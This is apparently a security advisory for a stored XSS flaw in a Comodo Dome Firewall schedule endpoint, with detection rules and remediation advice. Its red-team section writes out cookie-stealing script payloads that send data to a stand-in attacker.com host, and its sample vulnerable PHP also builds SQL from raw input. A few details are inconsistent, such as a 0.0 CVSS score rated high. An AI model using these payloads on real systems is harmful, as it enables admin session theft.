CVE-2019-25419

Executive Summary

CVE-2019-25419 is a stored cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The vulnerability resides in the schedule endpoint, where the SCHNAME parameter is not properly sanitized. An attacker can submit a POST request with a malicious JavaScript payload in the SCHNAME parameter. When an administrator accesses the schedule page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the firewall management interface. No official patch has been released, and the vulnerability remains unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector provided)
• Threat Level: High (based on impact and lack of patch)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (attacker can be unauthenticated)
• User Interaction: Required (admin must view the schedule page)
• Scope: Changed (impact on admin browser)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Comodo Dome Firewall's web management interface. The schedule endpoint accepts POST requests with a SCHNAME parameter. This parameter is used to name a schedule entry. The application stores this value in a database or configuration file without proper sanitization or encoding. When an administrator navigates to the schedule page, the stored value is rendered in the HTML without escaping, allowing the injected JavaScript to execute.

The attack flow:

1. Attacker sends a POST request to /schedule with SCHNAME=<script>alert('XSS')</script>.
2. The firewall stores the malicious payload.
3. An administrator visits the schedule page.
4. The browser executes the script, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0):

// schedule.php (simplified)
$sch_name = $_POST['SCHNAME'];
// No sanitization
$query = "INSERT INTO schedules (name) VALUES ('$sch_name')";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<td>" . $row['name'] . "</td>";

Patched Code (Hypothetical):

// schedule.php (patched)
$sch_name = htmlspecialchars($_POST['SCHNAME'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO schedules (name) VALUES (?)";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "s", $sch_name);
mysqli_stmt_execute($stmt);
// When displaying:
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Comodo Dome Firewall 2.7.0 (virtual appliance or physical device)
• Attacker: Kali Linux with Burp Suite or curl
• Admin: Browser (Chrome/Firefox) logged into the firewall

Exploit Steps:

1. Intercept a POST request to the schedule endpoint using Burp Suite.
2. Modify the SCHNAME parameter to include a JavaScript payload:

   POST /schedule HTTP/1.1
   Host: target-firewall
   Content-Type: application/x-www-form-urlencoded
   
   SCHNAME=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the request.
4. Wait for an admin to visit the schedule page.
5. The admin's browser executes the script, sending the cookie to the attacker's server.

Alternative Payload:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor POST requests to /schedule with suspicious SCHNAME values containing <script>, onerror, javascript:, etc.
• Look for outbound connections from the firewall to unknown IPs on port 80/443.
• Check web server logs for unusual parameters in the schedule endpoint.

Hunting:

• Search for stored XSS payloads in the firewall's database or configuration files.
• Review admin browser logs for unexpected JavaScript execution.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /schedule with SCHNAME containing <script> or onerror attributes.
  • Outbound HTTP requests from the firewall to attacker-controlled domains.
• Host:
  • Stored XSS payloads in the firewall's schedule configuration.
  • Unusual entries in the schedule list (e.g., script tags).
• Logs:
  • Web server logs showing SCHNAME=<script> patterns.
  • Admin browser console errors or unexpected network requests.

Detection Engineering

YARA Rule

rule CVE_2019_25419_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Comodo Dome Firewall schedule endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25419"
    strings:
        $xss_payload = /SCHNAME=<script[^>]*>.*?<\/script>/i
        $xss_onerror = /SCHNAME=.*?onerror=/i
        $xss_javascript = /SCHNAME=.*?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25419 Stored XSS in Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the schedule endpoint with XSS payloads in SCHNAME parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/schedule'
        cs-uri-query|contains: 'SCHNAME='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of script tags in schedule names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25419 Stored XSS in Comodo Dome Firewall"; flow:to_server,established; content:"POST"; http_method; content:"/schedule"; http_uri; content:"SCHNAME="; http_client_body; pcre:"/SCHNAME=<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the schedule endpoint if not needed, or restrict access to trusted IPs only.
• Workaround: Implement a web application firewall (WAF) rule to block POST requests with SCHNAME containing <script> or other HTML tags.
• Long-term: Upgrade to a patched version if available. Since no patch exists, consider replacing the firewall with a supported alternative.
• Compromise Assessment: Check for any unauthorized schedule entries and review admin browser logs for signs of exploitation.

Valters IT